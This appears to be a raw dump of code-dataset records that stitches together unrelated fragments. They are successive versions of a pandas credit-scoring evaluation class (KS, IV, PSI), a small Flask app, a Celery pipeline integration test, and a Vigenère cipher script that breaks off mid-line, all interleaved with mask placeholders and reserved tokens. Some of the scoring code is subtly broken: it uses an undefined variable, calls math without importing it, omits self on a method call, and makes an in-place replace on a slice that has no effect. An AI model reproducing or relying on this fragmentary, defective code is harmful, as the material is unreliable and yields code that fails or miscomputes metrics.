一维数组或series,代表真实的标签({0,1}或{-1,1})\n 输出值:\n 'ks': KS值,'crossdens': 好坏客户累积概率分布以及其差值gap\n \"\"\"\n crossfreq = pd.crosstab(data[pred], data[y_label])\n crossdens = crossfreq.cumsum(axis=0) / crossfreq.sum()\n crossdens['gap'] = abs(crossdens[0] - crossdens[1])\n ks = crossdens[crossdens['gap'] == crossdens['gap'].max()]\n return ks, crossdens\n\n def cal_iv(self, df1, x, y='is_7_p'):\n df = copy.deepcopy(df1)\n if 'count' not in df.columns:\n df['count'] = [(1) for i in range(df.shape[0])]\n df_tmp = df[[x, 'count', y]].groupby(x).sum()\n df_tmp['good'] = df_tmp['count'] - df_tmp[y]\n df_tmp[y] = df_tmp[y].apply(lambda x: max(x, 1e-05) / sum(df_tmp[y]))\n df_tmp['good'] = df_tmp['good'].apply(lambda x: max(x, 1e-05) / sum\n (df_tmp['good']))\n df_tmp['woe'] = np.log(df_tmp[y] / df_tmp['good'])\n df_tmp['iv'] = (df_tmp[y] - df_tmp['good']) * df_tmp['woe']\n return df_tmp['iv'].sum()\n\n def cal_psi(self, df_sf_bin, name, lst=['ins', 'oot']):\n name1, name2 = lst\n df_in = copy.deepcopy(df_sf_bin[df_sf_bin['type_train'] == name1])\n sum_1 = df_in.shape[0]\n df_in['count1'] = [(1) for i in range(sum_1)]\n df_in = df_in.groupby(name).sum()[['count1']]\n df_out = copy.deepcopy(df_sf_bin[df_sf_bin['type_train'] == name2])\n sum_2 = df_out.shape[0]\n df_out['count2'] = [(1) for i in range(sum_2)]\n df_out = df_out.groupby(name).sum()[['count2']]\n df_psi = pd.concat((df_in, df_out), axis=1)\n df_psi['count1'] = df_psi['count1'].apply(lambda x: x / sum_1)\n df_psi['count2'] = df_psi['count2'].apply(lambda x: x / sum_2)\n df_psi[['count1', 'count2']].replace(0, 0.001, inplace=True)\n df_psi['psi_tmp'] = df_psi['count1'] / df_psi['count2']\n df_psi['psi_tmp'] = df_psi['psi_tmp'].apply(lambda x: math.log(x))\n df_psi['psi'] = (df_psi['count1'] - df_psi['count2']) * df_psi[\n 'psi_tmp']\n return sum(df_psi['psi'])\n\n\nif __name__ == '__main__':\n s = \"\"\"\n c=Get_res_DataFrame(lr, a.df, a.df_bin, df_pb_woe, use_lst,a.woe_dic, type_train='type_train', y='is_7_p')\n d2_1 = c.get_2_1_imp(df_pb_woe[df_pb_woe['customer_type_old']=='old_customer'])\n d2_2 = c.get_2_2_des()\n d2_3 = c.get_2_3_corr()\n \n d3 = c.get_bin_ins_oot(type_lst=['ins', 'oot'])\n d4 = c.get_categories_df(df_pb_all,cate='type_train',base_cut='ins', y='final_score')\n #\n df_new = df_pb_all[df_pb_all['customer_type_old']=='new_customer']\n df_old = df_pb_all[df_pb_all['customer_type_old']=='old_customer']\n #\n d5_1 = c.get_categories_df(df_new,cate='type_train',base_cut='ins', y='final_score')\n d5_2 = c.get_categories_df(df_old,cate='type_train',base_cut='ins', y='final_score')\n \n d6_1 = c.get_categories_df(df_new,cate='month',base_cut='0', y='final_score')\n d6_2 = c.get_categories_df(df_old,cate='month',base_cut='0', y='final_score')\n \"\"\"\n", "step-5": "import copy\nimport pandas as pd\nimport numpy as np\nfrom pandas import DataFrame\nfrom collections import Counter\nfrom sklearn.metrics import roc_auc_score, roc_curve\nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\n\nclass Get_res_DataFrame:\n '''\n sheet1:数据概况\n sheet2:变量的大小,效果,相关性 ok\n sheet3:分箱结果及woe ok\n sheet4:按单一类别分 输入 df[['类别', 'final_score']] cut_line依据 输出 并计算ks\n \n \n 通过输入不同的df来返回不同的df分析\n ins,oot,oot2 第一个函数\n 新老客区分 第一个函数 输入df_new, df_old, type_train\n 月份区分 第一个函数 输入df_new , df_old, month\n '''\n \n def __init__(self, lr, df, df_bin, df_woe, use_lst, woe_dic, type_train='type_train', y='is_7_p'):\n self.df = df\n self.df_bin = df_bin\n self.df_woe = df_woe\n self.use_lst = use_lst\n self.woe_dic = woe_dic\n self.type_train = type_train\n self.model = lr\n self.y = y\n \n def main(self):\n \n print('d2_1 = self.get_2_1_imp()',#依次放好,\n 'd2_2 = self.get_2_2_des()',\n 'd2_3 = self.get_2_3_corr()',\n '''d3 = self.get_bin_ins_oot(type_lst=['ins', 'oot', 'oot2'])''' ) #一整个\n \n #return d2_1, d2_2, d2_3, d3\n \n #df, df_woe, use_lst, cal_iv, type_train,cal_psi ,lr\n def get_2_1_imp(self, df):\n d1 = DataFrame(index=self.use_lst)\n cover_dic = dict(df[use_lst].notnull().sum())\n d1['auc'] = [round(0.5+abs(0.5-roc_auc_score(df[self.y], df[i])), 3) for i in self.use_lst]\n #d1['ks'] = [round(max(abs(roc_curve(df[self.y],df[name])[0]- roc_curve(df[self.y],df[name])[1])), 3) for name in self.use_lst]\n d1['ks'] = [round(float(self.ks_calc_cross(df, name, self.y)[0]['gap']), 3) for name in self.use_lst]\n d1['ins_iv'] = [round(self.cal_iv(df[df[self.type_train]=='ins'], name, self.y), 3) for name in self.use_lst]\n d1['oot_iv'] = [round(self.cal_iv(df[df[self.type_train]=='oot'], name, self.y), 3) for name in self.use_lst]\n \n d1['coef'] = [round(i, 4) for i in self.model.coef_[0]]\n #d1['importance'] = self.model.feature_importances_\n d1 = d1.reset_index()\n d1['psi'] = [round(self.cal_psi(df, name), 5) for name in self.use_lst]\n d1['vif'] = [round(variance_inflation_factor(np.matrix(df[self.use_lst]), i),3) for i in range(len(self.use_lst))]\n #d1['fill_missing_data'] = [fill_na_dic[name] for name in self.use_lst]\n #d2_1 = d1\n d1.index = range(1, d1.shape[0]+1)\n return d1\n \n #df, use_lst, type_train\n def get_2_2_des(self):\n df = self.df[self.df[self.type_train].isin(['ins', 'oot'])]\n df_data_des = df[self.use_lst].describe().T \n \n \n cover_dic = dict(df[use_lst].notnull().sum())\n \n df_data_des = df_data_des.reset_index()\n df_data_des['cover'] = df_data_des['index'].apply(lambda x: round(cover_dic[x]/df.shape[0], 4))\n df_data_des.index = df_data_des['index']\n df_data_des.drop(columns=['index', 'count'], inplace=True)\n d2_2 = df_data_des.reset_index()\n d2_2.index = range(1, d2_2.shape[0]+1)\n return d2_2\n \n #df_woe, use_lst\n def get_2_3_corr(self):\n corr = np.corrcoef(np.array(self.df_woe[self.use_lst]).T)\n d2_3 = DataFrame(corr, columns=range(len(self.use_lst)), index=self.use_lst).reset_index()\n d2_3.index = range(1, d2_3.shape[0]+1)\n return d2_3\n \n #df_bin, use_lst, #type_lst#, type_train, woe_dic\n def get_bin_ins_oot(self, type_lst=['ins', 'oot', 'oot2']):\n res = []\n for loc, i in enumerate(type_lst):\n lst = []\n df_tmp = self.df_bin[(self.df_bin[self.type_train]==i)]\n\n for name in self.use_lst:\n #ks_lst = list(self.ks_calc_cross(df_tmp, name, self.y)[1]['gap'])\n #while len(ks_lst) > df_tmp.shape[0]:\n # ks_lst.pop()\n #while len(ks_lst) < df_tmp.shape[0]:\n # ks_lst.append(0)\n #print(ks_lst)\n dd_tmp = df_tmp.groupby(name).sum()[[self.y, 'count']]\n dd_tmp['bad_rate'] = dd_tmp[self.y]/dd_tmp['count']\n dd_tmp = dd_tmp.reset_index()\n dd_tmp['woe'] = dd_tmp[name].apply(lambda x: self.woe_dic[name][x])\n dd_tmp.sort_values(by='bad_rate', inplace=True) \n dd_tmp['sort_key'] = [float(i.split(',')[0][1:]) if i[0]=='(' else float('inf') for i in dd_tmp[name]]\n #print(dd_tmp)\n dd_tmp.sort_values(by='sort_key', inplace=True)\n dd_tmp.drop(columns=['sort_key'], inplace=True)\n name1 = '-'\n d = DataFrame(columns=['slice', 'bad', 'count', 'bad_rio', 'woe'],\n data=[[str(name1), '-', '-', '-','-']]+dd_tmp.values.tolist()[:], \n index=[[name]]+['-']*dd_tmp.shape[0])\n if loc < 1:\n split_name = '<-->'+str(i)\n else:\n split_name = str(type_lst[loc-1])+'<-->'+str(i)\n d[split_name] = [split_name for i in range(d.shape[0])]\n d = d[[split_name, 'slice', 'bad', 'count', 'bad_rio', 'woe' ]] \n lst.append(d)\n res.append(lst) \n return pd.concat((pd.concat(i for i in res[i]) for i in range(len(type_lst))),axis=1)\n \n #按照类别做DataFrame\n def get_categories_df(self, df, cate='type_new', base_cut='ins', y='final_score'):\n \n df_tmp = copy.deepcopy(df[[cate, self.y, y]])\n df_tmp.rename(columns={cate:'category', self.y:'bad'}, inplace=True)\n cut_line = list(np.percentile(list(df_tmp[df_tmp['category']==base_cut][y]), range(1, 101,10)))\n #np.percentile出来的是np.array格式\n cut_line[0] = -float('inf')\n cut_line.append(float('inf'))\n df_tmp['bins'] = pd.cut(df_tmp[y], bins=cut_line)\n df_tmp['count'] = [1 for i in range(df_tmp.shape[0])]\n #print(df_tmp)\n \n ks_lst = []\n for i in sorted(Counter(df_tmp['category']).keys()):\n #print(df_tmp[df_tmp['category']==i].shape)\n lst = list(ks_calc_cross(df_tmp[df_tmp['category']==i], 'bins', 'bad')[1]['gap'])\n #print(lst)\n while len(lst) < 10:\n lst = [0]+lst\n ks_lst.extend(lst)\n \n \n df = df_tmp.groupby(['category', 'bins']).sum()[['bad', 'count']]\n df = df.reset_index()\n df['bad_rate'] = df['bad']/df['count']\n df['ks'] = ks_lst\n #print(df)\n for i in ['bad', 'count', 'bad_rate', 'ks']:\n df[i] = df[i].astype(float)\n #df[['bad', 'count', 'bad_rate', 'ks']] = df[['bad', 'count', 'bad_rate', 'ks']].astype(float)\n #df = df.astype(str)\n df[['bad', 'count', 'bad_rate', 'ks'] ]= df[['bad', 'count', 'bad_rate', 'ks']].fillna(0)\n #添加几行用来画画\n #\n #n = len(Counter(df_tmp[cate]))\n #length = df.shape[0]//n\n #for i in range(n):\n # \n #df[:length]\n #print(df)\n #\n df.index = range(1, df.shape[0]+1)\n return df\n def ks_calc_cross(self,data,pred,y_label):\n '''\n 功能: 计算KS值,输出对应分割点和累计分布函数曲线图\n 输入值:\n data: 二维数组或dataframe,包括模型得分和真实的标签\n pred: 一维数组或series,代表模型得分(一般为预测正类的概率)\n y_label: 一维数组或series,代表真实的标签({0,1}或{-1,1})\n 输出值:\n 'ks': KS值,'crossdens': 好坏客户累积概率分布以及其差值gap\n '''\n crossfreq = pd.crosstab(data[pred],data[y_label])\n crossdens = crossfreq.cumsum(axis=0) / crossfreq.sum()\n crossdens['gap'] = abs(crossdens[0] - crossdens[1])\n ks = crossdens[crossdens['gap'] == crossdens['gap'].max()]\n return ks,crossdens\n \n def cal_iv(self,df1, x, y='is_7_p'):\n df = copy.deepcopy(df1)\n if 'count' not in df.columns:\n df['count'] = [1 for i in range(df.shape[0])]\n df_tmp = df[[x,'count', y]].groupby(x).sum()\n df_tmp['good'] = df_tmp['count'] - df_tmp[y]\n df_tmp[y] = df_tmp[y].apply(lambda x: max(x, 0.00001)/sum(df_tmp[y]))\n df_tmp['good'] = df_tmp['good'].apply(lambda x: max(x, 0.00001)/sum(df_tmp['good']))\n #计算woe\n df_tmp['woe'] = np.log(df_tmp[y]/df_tmp['good'])\n #计算iv\n df_tmp['iv'] = (df_tmp[y]-df_tmp['good']) * df_tmp['woe']\n return df_tmp['iv'].sum()\n \n \n #计算psi\n def cal_psi(self, df_sf_bin, name, lst=['ins', 'oot']):\n name1, name2 = lst\n \n df_in = copy.deepcopy(df_sf_bin[df_sf_bin['type_train']==name1])\n sum_1 = df_in.shape[0]\n df_in['count1'] = [1 for i in range(sum_1)]\n df_in = df_in.groupby(name).sum()[['count1']]\n \n df_out = copy.deepcopy(df_sf_bin[df_sf_bin['type_train']==name2])\n sum_2 = df_out.shape[0]\n df_out['count2'] = [1 for i in range(sum_2)]\n df_out = df_out.groupby(name).sum()[['count2']]\n df_psi = pd.concat((df_in, df_out), axis=1)\n #计算psi\n df_psi['count1'] = df_psi['count1'].apply(lambda x: x/sum_1)\n df_psi['count2'] = df_psi['count2'].apply(lambda x: x/sum_2)\n #处理出现0的空箱\n df_psi[['count1', 'count2']].replace(0, 0.001, inplace=True)\n #\n df_psi['psi_tmp'] = df_psi['count1']/df_psi['count2']\n df_psi['psi_tmp'] = df_psi['psi_tmp'].apply(lambda x: math.log(x))\n # print(df_psi)\n df_psi['psi'] = (df_psi['count1'] - df_psi['count2'])*df_psi['psi_tmp']\n #df_psi\n return sum(df_psi['psi'])\n \nif __name__ == '__main__':\n \n s = '''\n c=Get_res_DataFrame(lr, a.df, a.df_bin, df_pb_woe, use_lst,a.woe_dic, type_train='type_train', y='is_7_p')\n d2_1 = c.get_2_1_imp(df_pb_woe[df_pb_woe['customer_type_old']=='old_customer'])\n d2_2 = c.get_2_2_des()\n d2_3 = c.get_2_3_corr()\n \n d3 = c.get_bin_ins_oot(type_lst=['ins', 'oot'])\n d4 = c.get_categories_df(df_pb_all,cate='type_train',base_cut='ins', y='final_score')\n #\n df_new = df_pb_all[df_pb_all['customer_type_old']=='new_customer']\n df_old = df_pb_all[df_pb_all['customer_type_old']=='old_customer']\n #\n d5_1 = c.get_categories_df(df_new,cate='type_train',base_cut='ins', y='final_score')\n d5_2 = c.get_categories_df(df_old,cate='type_train',base_cut='ins', y='final_score')\n \n d6_1 = c.get_categories_df(df_new,cate='month',base_cut='0', y='final_score')\n d6_2 = c.get_categories_df(df_old,cate='month',base_cut='0', y='final_score')\n '''\n \n", "step-ids": [ 11, 12, 13, 14, 15 ] }
[ 11, 12, 13, 14, 15 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> @app.route('/', methods=['GET', 'POST']) @app.route('/index') def index(): return render_template('index.html') <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> @app.route('/', methods=['GET', 'POST']) @app.route('/index') def index(): return render_template('index.html') @app.route('/personality', methods=['GET', 'POST']) def personfont(): user_input = dict(request.form) print(user_input) x = user_input['personality'] print(x) output = model.personfont(x) print(output) return render_template('index2.html', output=output) <|reserved_special_token_1|> from app import app from flask import render_template, request from app.models import model, formopener @app.route('/', methods=['GET', 'POST']) @app.route('/index') def index(): return render_template('index.html') @app.route('/personality', methods=['GET', 'POST']) def personfont(): user_input = dict(request.form) print(user_input) x = user_input['personality'] print(x) output = model.personfont(x) print(output) return render_template('index2.html', output=output) <|reserved_special_token_1|> from app import app from flask import render_template, request from app.models import model, formopener @app.route('/', methods=['GET', 'POST']) @app.route('/index') def index(): return render_template("index.html") @app.route('/personality', methods=['GET', 'POST']) def personfont(): user_input=dict(request.form) print(user_input) x=user_input["personality"] print(x) output=model.personfont(x) print(output) return render_template('index2.html', output=output)
flexible
{ "blob_id": "bb3c4039ff224c0ca0305778b938ef969c196033", "index": 8759, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/index')\ndef index():\n return render_template('index.html')\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/index')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/personality', methods=['GET', 'POST'])\ndef personfont():\n user_input = dict(request.form)\n print(user_input)\n x = user_input['personality']\n print(x)\n output = model.personfont(x)\n print(output)\n return render_template('index2.html', output=output)\n", "step-4": "from app import app\nfrom flask import render_template, request\nfrom app.models import model, formopener\n\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/index')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/personality', methods=['GET', 'POST'])\ndef personfont():\n user_input = dict(request.form)\n print(user_input)\n x = user_input['personality']\n print(x)\n output = model.personfont(x)\n print(output)\n return render_template('index2.html', output=output)\n", "step-5": "from app import app\nfrom flask import render_template, request\nfrom app.models import model, formopener\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/index')\ndef index():\n return render_template(\"index.html\")\n\n@app.route('/personality', methods=['GET', 'POST'])\ndef personfont():\n user_input=dict(request.form)\n print(user_input)\n x=user_input[\"personality\"]\n print(x)\n output=model.personfont(x)\n print(output)\n return render_template('index2.html', output=output)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> @unittest.skip('need to make this less brittle') class TestSerialization(unittest.TestCase): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def test_default_serializer(self): from yalp.pipeline import tasks tasks.process_message.apply_async(args=[self.event], queue=settings .parser_queue, serializer=settings.celery_serializer) while True: try: message = self.channel.basic_get(queue='outputs') break except ChannelError: time.sleep(0.1) self.assertIsNotNone(message) event = pickle.loads(message.body)['message'] self.assertEqual('test message', event['message']) self.assertEqual(self.now, event['date_time']) <|reserved_special_token_1|> <|reserved_special_token_0|> @unittest.skip('need to make this less brittle') class TestSerialization(unittest.TestCase): <|reserved_special_token_0|> def setUp(self): settings.parsers = [{'passthrough': {}}] try: import socket import amqp self.connection = amqp.Connection() self.channel = self.connection.channel() except socket.error: from nose.plugins.skip import SkipTest raise SkipTest('Unable to connect to rabbitmq') self.now = datetime.now() self.event = {'host': 'test_host', 'message': 'test message', 'date_time': self.now} with open('/tmp/test_serial.yml', 'w') as config_file: config = {'parsers': [{'passthrough': {}}], 'parser_workers': 1} yaml.dump(config, config_file) self.parser_process = subprocess.Popen( 'scripts/yalp-parsers -c /tmp/test_serial.yml', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) def tearDown(self): self.channel.queue_delete(queue=settings.parser_queue) self.channel.queue_delete(queue='outputs') self.channel.close() self.connection.close() self.parser_process.kill() def test_default_serializer(self): from yalp.pipeline import tasks tasks.process_message.apply_async(args=[self.event], queue=settings .parser_queue, serializer=settings.celery_serializer) while True: try: message = self.channel.basic_get(queue='outputs') break except ChannelError: time.sleep(0.1) self.assertIsNotNone(message) event = pickle.loads(message.body)['message'] self.assertEqual('test message', event['message']) self.assertEqual(self.now, event['date_time']) <|reserved_special_token_1|> <|reserved_special_token_0|> @unittest.skip('need to make this less brittle') class TestSerialization(unittest.TestCase): """ Test that serialization via celery does not break """ def setUp(self): settings.parsers = [{'passthrough': {}}] try: import socket import amqp self.connection = amqp.Connection() self.channel = self.connection.channel() except socket.error: from nose.plugins.skip import SkipTest raise SkipTest('Unable to connect to rabbitmq') self.now = datetime.now() self.event = {'host': 'test_host', 'message': 'test message', 'date_time': self.now} with open('/tmp/test_serial.yml', 'w') as config_file: config = {'parsers': [{'passthrough': {}}], 'parser_workers': 1} yaml.dump(config, config_file) self.parser_process = subprocess.Popen( 'scripts/yalp-parsers -c /tmp/test_serial.yml', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) def tearDown(self): self.channel.queue_delete(queue=settings.parser_queue) self.channel.queue_delete(queue='outputs') self.channel.close() self.connection.close() self.parser_process.kill() def test_default_serializer(self): from yalp.pipeline import tasks tasks.process_message.apply_async(args=[self.event], queue=settings .parser_queue, serializer=settings.celery_serializer) while True: try: message = self.channel.basic_get(queue='outputs') break except ChannelError: time.sleep(0.1) self.assertIsNotNone(message) event = pickle.loads(message.body)['message'] self.assertEqual('test message', event['message']) self.assertEqual(self.now, event['date_time']) <|reserved_special_token_1|> <|reserved_special_token_0|> import unittest import yaml import subprocess import time import pickle from datetime import datetime from amqp.exceptions import ChannelError from yalp.config import settings @unittest.skip('need to make this less brittle') class TestSerialization(unittest.TestCase): """ Test that serialization via celery does not break """ def setUp(self): settings.parsers = [{'passthrough': {}}] try: import socket import amqp self.connection = amqp.Connection() self.channel = self.connection.channel() except socket.error: from nose.plugins.skip import SkipTest raise SkipTest('Unable to connect to rabbitmq') self.now = datetime.now() self.event = {'host': 'test_host', 'message': 'test message', 'date_time': self.now} with open('/tmp/test_serial.yml', 'w') as config_file: config = {'parsers': [{'passthrough': {}}], 'parser_workers': 1} yaml.dump(config, config_file) self.parser_process = subprocess.Popen( 'scripts/yalp-parsers -c /tmp/test_serial.yml', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) def tearDown(self): self.channel.queue_delete(queue=settings.parser_queue) self.channel.queue_delete(queue='outputs') self.channel.close() self.connection.close() self.parser_process.kill() def test_default_serializer(self): from yalp.pipeline import tasks tasks.process_message.apply_async(args=[self.event], queue=settings .parser_queue, serializer=settings.celery_serializer) while True: try: message = self.channel.basic_get(queue='outputs') break except ChannelError: time.sleep(0.1) self.assertIsNotNone(message) event = pickle.loads(message.body)['message'] self.assertEqual('test message', event['message']) self.assertEqual(self.now, event['date_time']) <|reserved_special_token_1|> # vim: set et ts=4 sw=4 fileencoding=utf-8: ''' tests.integration.test_pipeline =============================== ''' import unittest import yaml import subprocess import time import pickle from datetime import datetime from amqp.exceptions import ChannelError from yalp.config import settings @unittest.skip('need to make this less brittle') class TestSerialization(unittest.TestCase): ''' Test that serialization via celery does not break ''' def setUp(self): settings.parsers = [{ 'passthrough': {} }] try: import socket import amqp self.connection = amqp.Connection() self.channel = self.connection.channel() except socket.error: from nose.plugins.skip import SkipTest raise SkipTest('Unable to connect to rabbitmq') self.now = datetime.now() self.event = { 'host': 'test_host', 'message': 'test message', 'date_time': self.now, } with open('/tmp/test_serial.yml', 'w') as config_file: config = { 'parsers': [{ 'passthrough': {} }], 'parser_workers': 1 } yaml.dump(config, config_file) self.parser_process = subprocess.Popen( 'scripts/yalp-parsers -c /tmp/test_serial.yml', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) def tearDown(self): self.channel.queue_delete(queue=settings.parser_queue) self.channel.queue_delete(queue='outputs') self.channel.close() self.connection.close() self.parser_process.kill() def test_default_serializer(self): from yalp.pipeline import tasks tasks.process_message.apply_async( args=[self.event], queue=settings.parser_queue, serializer=settings.celery_serializer, ) while True: try: message = self.channel.basic_get(queue='outputs') break except ChannelError: time.sleep(0.1) self.assertIsNotNone(message) event = pickle.loads(message.body)['message'] self.assertEqual('test message', event['message']) self.assertEqual(self.now, event['date_time'])
flexible
{ "blob_id": "c945dc4df68fe110e8b38713fb77e2dce9efad8d", "index": 8418, "step-1": "<mask token>\n\n\n@unittest.skip('need to make this less brittle')\nclass TestSerialization(unittest.TestCase):\n <mask token>\n <mask token>\n <mask token>\n\n def test_default_serializer(self):\n from yalp.pipeline import tasks\n tasks.process_message.apply_async(args=[self.event], queue=settings\n .parser_queue, serializer=settings.celery_serializer)\n while True:\n try:\n message = self.channel.basic_get(queue='outputs')\n break\n except ChannelError:\n time.sleep(0.1)\n self.assertIsNotNone(message)\n event = pickle.loads(message.body)['message']\n self.assertEqual('test message', event['message'])\n self.assertEqual(self.now, event['date_time'])\n", "step-2": "<mask token>\n\n\n@unittest.skip('need to make this less brittle')\nclass TestSerialization(unittest.TestCase):\n <mask token>\n\n def setUp(self):\n settings.parsers = [{'passthrough': {}}]\n try:\n import socket\n import amqp\n self.connection = amqp.Connection()\n self.channel = self.connection.channel()\n except socket.error:\n from nose.plugins.skip import SkipTest\n raise SkipTest('Unable to connect to rabbitmq')\n self.now = datetime.now()\n self.event = {'host': 'test_host', 'message': 'test message',\n 'date_time': self.now}\n with open('/tmp/test_serial.yml', 'w') as config_file:\n config = {'parsers': [{'passthrough': {}}], 'parser_workers': 1}\n yaml.dump(config, config_file)\n self.parser_process = subprocess.Popen(\n 'scripts/yalp-parsers -c /tmp/test_serial.yml', shell=True,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n def tearDown(self):\n self.channel.queue_delete(queue=settings.parser_queue)\n self.channel.queue_delete(queue='outputs')\n self.channel.close()\n self.connection.close()\n self.parser_process.kill()\n\n def test_default_serializer(self):\n from yalp.pipeline import tasks\n tasks.process_message.apply_async(args=[self.event], queue=settings\n .parser_queue, serializer=settings.celery_serializer)\n while True:\n try:\n message = self.channel.basic_get(queue='outputs')\n break\n except ChannelError:\n time.sleep(0.1)\n self.assertIsNotNone(message)\n event = pickle.loads(message.body)['message']\n self.assertEqual('test message', event['message'])\n self.assertEqual(self.now, event['date_time'])\n", "step-3": "<mask token>\n\n\n@unittest.skip('need to make this less brittle')\nclass TestSerialization(unittest.TestCase):\n \"\"\"\n Test that serialization via celery does not break\n \"\"\"\n\n def setUp(self):\n settings.parsers = [{'passthrough': {}}]\n try:\n import socket\n import amqp\n self.connection = amqp.Connection()\n self.channel = self.connection.channel()\n except socket.error:\n from nose.plugins.skip import SkipTest\n raise SkipTest('Unable to connect to rabbitmq')\n self.now = datetime.now()\n self.event = {'host': 'test_host', 'message': 'test message',\n 'date_time': self.now}\n with open('/tmp/test_serial.yml', 'w') as config_file:\n config = {'parsers': [{'passthrough': {}}], 'parser_workers': 1}\n yaml.dump(config, config_file)\n self.parser_process = subprocess.Popen(\n 'scripts/yalp-parsers -c /tmp/test_serial.yml', shell=True,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n def tearDown(self):\n self.channel.queue_delete(queue=settings.parser_queue)\n self.channel.queue_delete(queue='outputs')\n self.channel.close()\n self.connection.close()\n self.parser_process.kill()\n\n def test_default_serializer(self):\n from yalp.pipeline import tasks\n tasks.process_message.apply_async(args=[self.event], queue=settings\n .parser_queue, serializer=settings.celery_serializer)\n while True:\n try:\n message = self.channel.basic_get(queue='outputs')\n break\n except ChannelError:\n time.sleep(0.1)\n self.assertIsNotNone(message)\n event = pickle.loads(message.body)['message']\n self.assertEqual('test message', event['message'])\n self.assertEqual(self.now, event['date_time'])\n", "step-4": "<mask token>\nimport unittest\nimport yaml\nimport subprocess\nimport time\nimport pickle\nfrom datetime import datetime\nfrom amqp.exceptions import ChannelError\nfrom yalp.config import settings\n\n\n@unittest.skip('need to make this less brittle')\nclass TestSerialization(unittest.TestCase):\n \"\"\"\n Test that serialization via celery does not break\n \"\"\"\n\n def setUp(self):\n settings.parsers = [{'passthrough': {}}]\n try:\n import socket\n import amqp\n self.connection = amqp.Connection()\n self.channel = self.connection.channel()\n except socket.error:\n from nose.plugins.skip import SkipTest\n raise SkipTest('Unable to connect to rabbitmq')\n self.now = datetime.now()\n self.event = {'host': 'test_host', 'message': 'test message',\n 'date_time': self.now}\n with open('/tmp/test_serial.yml', 'w') as config_file:\n config = {'parsers': [{'passthrough': {}}], 'parser_workers': 1}\n yaml.dump(config, config_file)\n self.parser_process = subprocess.Popen(\n 'scripts/yalp-parsers -c /tmp/test_serial.yml', shell=True,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n def tearDown(self):\n self.channel.queue_delete(queue=settings.parser_queue)\n self.channel.queue_delete(queue='outputs')\n self.channel.close()\n self.connection.close()\n self.parser_process.kill()\n\n def test_default_serializer(self):\n from yalp.pipeline import tasks\n tasks.process_message.apply_async(args=[self.event], queue=settings\n .parser_queue, serializer=settings.celery_serializer)\n while True:\n try:\n message = self.channel.basic_get(queue='outputs')\n break\n except ChannelError:\n time.sleep(0.1)\n self.assertIsNotNone(message)\n event = pickle.loads(message.body)['message']\n self.assertEqual('test message', event['message'])\n self.assertEqual(self.now, event['date_time'])\n", "step-5": "# vim: set et ts=4 sw=4 fileencoding=utf-8:\n'''\ntests.integration.test_pipeline\n===============================\n'''\nimport unittest\n\nimport yaml\nimport subprocess\nimport time\nimport pickle\nfrom datetime import datetime\n\nfrom amqp.exceptions import ChannelError\n\nfrom yalp.config import settings\n\n\n@unittest.skip('need to make this less brittle')\nclass TestSerialization(unittest.TestCase):\n '''\n Test that serialization via celery does not break\n '''\n def setUp(self):\n settings.parsers = [{\n 'passthrough': {}\n }]\n try:\n import socket\n import amqp\n self.connection = amqp.Connection()\n self.channel = self.connection.channel()\n except socket.error:\n from nose.plugins.skip import SkipTest\n raise SkipTest('Unable to connect to rabbitmq')\n self.now = datetime.now()\n self.event = {\n 'host': 'test_host',\n 'message': 'test message',\n 'date_time': self.now,\n }\n with open('/tmp/test_serial.yml', 'w') as config_file:\n config = {\n 'parsers': [{\n 'passthrough': {}\n }],\n 'parser_workers': 1\n }\n yaml.dump(config, config_file)\n\n self.parser_process = subprocess.Popen(\n 'scripts/yalp-parsers -c /tmp/test_serial.yml',\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n\n def tearDown(self):\n self.channel.queue_delete(queue=settings.parser_queue)\n self.channel.queue_delete(queue='outputs')\n self.channel.close()\n self.connection.close()\n self.parser_process.kill()\n\n def test_default_serializer(self):\n from yalp.pipeline import tasks\n tasks.process_message.apply_async(\n args=[self.event],\n queue=settings.parser_queue,\n serializer=settings.celery_serializer,\n )\n while True:\n try:\n message = self.channel.basic_get(queue='outputs')\n break\n except ChannelError:\n time.sleep(0.1)\n self.assertIsNotNone(message)\n event = pickle.loads(message.body)['message']\n self.assertEqual('test message', event['message'])\n self.assertEqual(self.now, event['date_time'])\n\n", "step-ids": [ 2, 4, 5, 6, 7 ] }
[ 2, 4, 5, 6, 7 ]
#!/usr/bin/env python3 # coding: utf-8 """ Blaise de Vigenère (1523–1596) mathematician, developed encryption scheme, VigenereCipher algorithm is implemented based on his work, with a utility of relative strength index for encryption and decryption. VERSION : 1.0 LICENSE : GNU GPLv3 STYLE : PEP 8 AUTHOR : AKULA.S.S.S.R.Krishna Date : 05/11/2020 PURPOSE : To encrypt and decrypt text based files INPUT : python3 VingenerCipher -i sample_file.txt -e "sample password" OUTPUT : sample_file.txt will be replaced with encrypted data. """ import os import argparse class VigenereCipher(object): def __init__(self, key): print('Vigenere Cipher Encription') self.key = key def encode(self, text): # Based on password every character key = self.key # will be encrypted with different bias ans = '' for index, i in enumerate(text): if(ord('!') <= ord(i) <= ord('~')): index %= len(key) if(ord(i) + ord(key[index]) - ord('!') > ord('~')): ans += (chr(ord('!') + (ord(i) + ord(key[index]) - ord('!')) % ord('~') - 1)) else: ans += (chr(ord(i) + ord(key[index]) - ord('!'))) else: ans += i return ans def decode(self, text): # Based on password every character key = self.key # will be decrypted with different bias ans = '' for index, i in enumerate(text): if(ord('!') <= 